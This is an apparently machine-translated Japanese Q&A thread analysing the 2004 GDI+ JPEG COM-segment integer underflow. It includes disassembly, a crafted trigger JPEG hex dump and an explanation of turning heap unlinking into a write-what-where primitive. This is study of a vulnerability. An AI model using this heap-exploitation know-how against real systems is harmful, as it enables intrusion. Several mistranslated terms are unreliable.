Windows XPでのGDI +に対する古いエクスプロイトについて読んでおり、 Windows Server 20 は、私が取り組んでいるプロジェクトの死のJPEGと呼ばれていました。
このエクスプロイトは、次のリンクで詳しく説明されています。 http://www.infosecwriters.com/text_resources/pdf/JPEG.pdf
基本的に、JPEGファイルには(おそらく空の)コメントフィールドを含むCOMと呼ばれるセクションと、COMのサイズを含む2バイトの値が含まれます。コメントがない場合、サイズは2です。リーダー(GDI +)はサイズを読み取り、2を減算し、適切なサイズのバッファーを割り当てて、ヒープ内のコメントをコピーします。攻撃には、フィールドに_0
_の値を配置することが含まれます。 GDI +は_2
_を減算し、-2 (0xFFFe)
の値を導きます。この値は、 memcpy
によって符号なし整数_0XFFFFFFFE
_に変換されます。
サンプルコード:
_unsigned int size;
size = len - 2;
char *comment = (char *)malloc(size + 1);
memcpy(comment, src, size);
_
3行目のmalloc(0)
は、ヒープ上の未割り当てメモリへのポインタを返すことに注意してください。 _0XFFFFFFFE
_バイト(_4GB
_ !!!!)を書き込むと、プログラムがクラッシュしない可能性があります。これは、ヒープ領域を超えて、他のプログラムとOSのスペースに書き込みますか?それではどうなりますか?
memcpy
を理解しているので、単にn
文字を宛先からソースにコピーします。この場合、ソースはスタック上にあり、宛先はヒープ上にあり、n
は_4GB
_です。
この脆弱性は間違いなく heap overflow でした。
0XFFFFFFFEバイト(4 GB !!!!)を書き込むと、プログラムがクラッシュしない可能性がありますか?
おそらくそうなりますが、場合によっては、クラッシュが発生する前に悪用する時間があります(場合によっては、プログラムを通常の実行に戻し、クラッシュを回避できます)。
Memcpy()が開始されると、コピーは他のヒープブロックまたはヒープ管理構造の一部(空きリスト、ビジーリストなど)を上書きします。
ある時点で、コピーは割り当てられていないページを検出し、書き込み時にAV(アクセス違反)をトリガーします。 GDI +は、ヒープに新しいブロックを割り当てようとします( ntdll!RtlAllocateHeap を参照)...しかし、ヒープ構造はすべて台無しになりました。
その時点で、JPEGイメージを慎重に作成することにより、管理されたデータでヒープ管理構造を上書きできます。システムが新しいブロックを割り当てようとすると、おそらくフリーリストから(フリー)ブロックのリンクが解除されます。
ブロックは(特に)flink(前方リンク;リスト内の次のブロック)と点滅(後方リンク;リスト内の前のブロック)ポインターで管理されます。 flinkと点滅の両方を制御する場合、書き込み可能なものと書き込み可能な場所を制御するWRITE4(書き込みWhat/Where条件)が発生する可能性があります。
その時点で、関数ポインターを上書きし( SEH [構造化例外ハンドラー] ポインターは2004年にその時点で選択の対象でした)、コード実行を獲得できます。
ブログ投稿ヒープ破損:ケーススタディを参照してください。
注:フリーリストを使用した悪用について書いたが、攻撃者は他のヒープメタデータを使用して別のパスを選択する場合があります(「ヒープメタデータ」はシステムがヒープを管理するために使用する構造です。flinkと点滅はヒープメタデータの一部です)リンク解除の悪用はおそらく「最も簡単な」悪用です。 「ヒープ活用」のグーグル検索は、これに関する多くの研究を返します。
これは、ヒープ領域を超えて、他のプログラムとOSのスペースに書き込みますか?
決して。最新のOSは仮想アドレス空間の概念に基づいているため、各プロセスには独自の仮想アドレス空間があり、32ビットシステムで最大4ギガバイトのメモリをアドレス指定できます(実際には、ユーザーランドでは半分しか取得できませんが、残りはカーネル用です)。
要するに、プロセスは別のプロセスのメモリにアクセスできません(何らかのサービス/ APIを介してカーネルに要求する場合を除き、呼び出し元にアクセス権があるかどうかをカーネルが確認します)。
今週末にこの脆弱性をテストすることにしました。そのため、純粋な推測ではなく、何が起こっているのかを知ることができました。この脆弱性は10年が経過しているため、この回答で悪用の部分については説明していませんが、この脆弱性について書くことは問題ないと考えました。
計画
最も困難なタスクは、Windows XP SP1のみ、2004年のように)を見つけることでした:)
次に、以下に示すように、単一のピクセルのみで構成されるJPEGイメージをダウンロードしました(簡潔にするために切り取りました)。
_File 1x1_pixel.JPG
Address Hex dump ASCII
00000000 FF D8 FF E0|00 10 4A 46|49 46 00 01|01 01 00 60| ÿØÿà JFIF `
00000010 00 60 00 00|FF E1 00 16|45 78 69 66|00 00 49 49| ` ÿá Exif II
00000020 2A 00 08 00|00 00 00 00|00 00 00 00|FF DB 00 43| * ÿÛ C
[...]
_
JPEG画像は、バイナリマーカー(セグメントを導入する)で構成されます。上の画像では、_FF D8
_はSOI(画像の開始))マーカーであり、たとえば_FF E0
_はアプリケーションマーカーです。
マーカーセグメントの最初のパラメーター(SOIなどの一部のマーカーを除く)は、2バイトマーカーを除くマーカーセグメントのバイト数をエンコードする2バイトの長さパラメーターです。
マーカーには厳密な順序がないため、SOIの直後にCOMマーカー(0x FFFE
)を追加しました。
_File 1x1_pixel_comment_mod1.JPG
Address Hex dump ASCII
00000000 FF D8 FF FE|00 00 30 30|30 30 30 30|30 31 30 30| ÿØÿþ 0000000100
00000010 30 32 30 30|30 33 30 30|30 34 30 30|30 35 30 30| 0200030004000500
00000020 30 36 30 30|30 37 30 30|30 38 30 30|30 39 30 30| 0600070008000900
00000030 30 61 30 30|30 62 30 30|30 63 30 30|30 64 30 30| 0a000b000c000d00
[...]
_
COMセグメントの長さは_00 00
_に設定され、脆弱性を引き起こします。また、COMマーカーの直後に0xFFFCバイトを繰り返しパターン(16進数の4バイトの数字)で挿入しました。これは、脆弱性を「悪用」するときに便利になります。
デバッグ
画像をダブルクリックすると、GpJpegDecoder::read_jpeg_marker()
という名前の関数のWindowsシェル(別名「Explorer.exe」)、_gdiplus.dll
_のバグがすぐにトリガーされます。
この関数は、画像内のマーカーごとに呼び出されます。マーカーセグメントサイズを読み取り、セグメントサイズの長さのバッファーを割り当て、セグメントの内容をこの新しく割り当てられたバッファーにコピーします。
ここで機能の開始:
_.text:70E199D5 mov ebx, [ebp+arg_0] ; ebx = *this (GpJpegDecoder instance)
.text:70E199D8 Push esi
.text:70E199D9 mov esi, [ebx+18h]
.text:70E199DC mov eax, [esi] ; eax = pointer to segment size
.text:70E199DE Push edi
.text:70E199DF mov edi, [esi+4] ; edi = bytes left to process in the image
_
eax
レジスタはセグメントサイズを指し、edi
はイメージに残っているバイト数です。
次に、コードは最上位バイトから始まるセグメントサイズの読み取りに進みます(長さは16ビット値です)。
_.text:70E199F7 xor ecx, ecx ; segment_size = 0
.text:70E199F9 mov ch, [eax] ; get most significant byte from size --> CH == 00
.text:70E199FB dec edi ; bytes_to_process --
.text:70E199FC inc eax ; pointer++
.text:70E199FD test edi, edi
.text:70E199FF mov [ebp+arg_0], ecx ; save segment_size
_
そして最下位バイト:
_.text:70E19A15 movzx cx, byte ptr [eax] ; get least significant byte from size --> CX == 0
.text:70E19A19 add [ebp+arg_0], ecx ; save segment_size
.text:70E19A1C mov ecx, [ebp+lpMem]
.text:70E19A1F inc eax ; pointer ++
.text:70E19A20 mov [esi], eax
.text:70E19A22 mov eax, [ebp+arg_0] ; eax = segment_size
_
これが完了すると、次の計算に従って、セグメントサイズを使用してバッファが割り当てられます。
alloc_size = segment_size + 2
これは、以下のコードによって実行されます。
_.text:70E19A29 movzx esi, Word ptr [ebp+arg_0] ; esi = segment size (cast from 16-bit to 32-bit)
.text:70E19A2D add eax, 2
.text:70E19A30 mov [ecx], ax
.text:70E19A33 lea eax, [esi+2] ; alloc_size = segment_size + 2
.text:70E19A36 Push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
_
この例では、セグメントサイズが0であるため、バッファーに割り当てられたサイズは2バイトです。
脆弱性は割り当て直後です:
_.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
.text:70E19A3C test eax, eax
.text:70E19A3E mov [ebp+lpMem], eax ; save pointer to allocation
.text:70E19A41 jz loc_70E19AF1
.text:70E19A47 mov cx, [ebp+arg_4] ; low marker byte (0xFE)
.text:70E19A4B mov [eax], cx ; save in alloc (offset 0)
;[...]
.text:70E19A52 lea edx, [esi-2] ; edx = segment_size - 2 = 0 - 2 = 0xFFFFFFFE!!!
;[...]
.text:70E19A61 mov [ebp+arg_0], edx
_
このコードは、セグメントサイズ全体(この場合は0)からsegment_sizeサイズ(セグメントの長さは2バイトの値)を単純に減算し、整数アンダーフローで終わります:0-2 = 0xFFFFFFFE
次に、コードは、イメージに解析するバイトが残っていることを確認し(これが正しい)、コピーにジャンプします。
_.text:70E19A69 mov ecx, [eax+4] ; ecx = bytes left to parse (0x133)
.text:70E19A6C cmp ecx, edx ; edx = 0xFFFFFFFE
.text:70E19A6E jg short loc_70E19AB4 ; take jump to copy
;[...]
.text:70E19AB4 mov eax, [ebx+18h]
.text:70E19AB7 mov esi, [eax] ; esi = source = points to segment content ("0000000100020003...")
.text:70E19AB9 mov edi, dword ptr [ebp+arg_4] ; edi = destination buffer
.text:70E19ABC mov ecx, edx ; ecx = copy size = segment content size = 0xFFFFFFFE
.text:70E19ABE mov eax, ecx
.text:70E19AC0 shr ecx, 2 ; size / 4
.text:70E19AC3 rep movsd ; copy segment content by 32-bit chunks
_
上記のスニペットは、コピーサイズが0xFFFFFFFE 32ビットチャンクであることを示しています。ソースバッファは制御され(ピクチャのコンテンツ)、宛先はヒープ上のバッファです。
書き込み条件
コピーは、メモリページの最後に到達すると、アクセス違反(AV)例外をトリガーします(これは、ソースポインターまたは宛先ポインターからの可能性があります)。 AVがトリガーされると、コピーされたページがマップされていないページに到達するまでコピーがすでにすべてのヒープブロックを上書きしているため、ヒープは既に脆弱な状態になっています。
このバグを悪用できるのは、3 SEH(Structured Exception Handler;これはtry/except低レベル)がコードのこの部分で例外をキャッチしていることです。より正確には、最初のSEHがスタックを巻き戻し、別のJPEGマーカーの解析に戻って、例外をトリガーしたマーカーを完全にスキップします。
SEHがなければ、コードはプログラム全体をクラッシュさせるだけでした。そのため、コードはCOMセグメントをスキップし、別のセグメントを解析します。したがって、新しいセグメントを使用してGpJpegDecoder::read_jpeg_marker()
に戻り、コードが新しいバッファーを割り当てると、次のようになります。
_.text:70E19A33 lea eax, [esi+2] ; alloc_size = semgent_size + 2
.text:70E19A36 Push eax ; dwBytes
.text:70E19A37 call _GpMalloc@4 ; GpMalloc(x)
_
システムは、空きリストからブロックのリンクを解除します。メタデータ構造が画像のコンテンツによって上書きされることがあります。そのため、制御されたメタデータでリンク解除を制御します。ヒープマネージャーのシステム(ntdll)のどこかにある以下のコード:
_CPU Disasm
Address Command Comments
77F52CBF MOV ECX,DWORD PTR DS:[EAX] ; eax points to '0003' ; ecx = 0x33303030
77F52CC1 MOV DWORD PTR SS:[EBP-0B0],ECX ; save ecx
77F52CC7 MOV EAX,DWORD PTR DS:[EAX+4] ; [eax+4] points to '0004' ; eax = 0x34303030
77F52CCA MOV DWORD PTR SS:[EBP-0B4],EAX
77F52CD0 MOV DWORD PTR DS:[EAX],ECX ; write 0x33303030 to 0x34303030!!!
_
これで、必要なものを、必要な場所に書き込むことができます...
私はGDIのコードを知らないので、以下は推測にすぎません。
念頭に置いて思い浮かぶことの1つは、一部のOS(Windows noticeXPにこれがあったかどうかはわかりません)で気づいた1つの動作です。new/ malloc
で割り当てるとき、そのメモリに書き込まない限り、RAM。
これは実際にはLinuxカーネルの動作です。
Www.kernel.orgから:
プロセスの線形アドレス空間のページは、必ずしもメモリに常駐するとは限りません。たとえば、プロセスに代わって行われた割り当ては、vm_area_struct内でスペースが予約されているだけなので、すぐには満たされません。
常駐メモリに入るには、ページフォールトをトリガーする必要があります。
基本的に、実際にシステムに割り当てられる前に、メモリをダーティにする必要があります。
unsigned int size=-1;
char* comment = new char[size];
時々、実際にRAM(プログラムは4GBを使用しません)で実際の割り当てを行いません。Linuxでこの動作を見たことはありますが、複製することはできません。 Windows 7のインストールになりました。
この動作から、次のシナリオが可能です。
そのメモリをRAMに存在させるには、それをダーティにする必要があります(基本的にmemsetまたはその他の書き込み):
memset(comment, 0, size);
ただし、この脆弱性は割り当ての失敗ではなく、バッファオーバーフローを利用します。
言い換えれば、私がこれを持っていたなら:
unsinged int size =- 1;
char* p = new char[size]; // Will not crash here
memcpy(p, some_buffer, size);
これは連続メモリの4GBセグメントのようなものがないため、バッファ後の書き込みにつながります。
4GBのメモリ全体をダーティにするためにpに何も入れなかったので、memcpy
が一度にメモリをダーティにするのか、ページごとにダーティになるのかわかりません(ページごとだと思います)。
最終的には、スタックフレームが上書きされます(スタックバッファーオーバーフロー)。
もう1つの可能性のある脆弱性は、画像がバイト配列としてメモリ内に保持され(ファイル全体をバッファーに読み込む)、sizeofコメントが重要でない情報をスキップするためだけに使用された場合です。
例えば
unsigned int commentsSize = -1;
char* wholePictureBytes; // Has size of file
...
// Time to start processing the output color
char* p = wholePictureButes;
offset = (short) p[COM_OFFSET];
char* dataP = p + offset;
dataP[0] = EvilHackerValue; // Vulnerability here
前述のとおり、GDIがそのサイズを割り当てなかった場合、プログラムはクラッシュしません。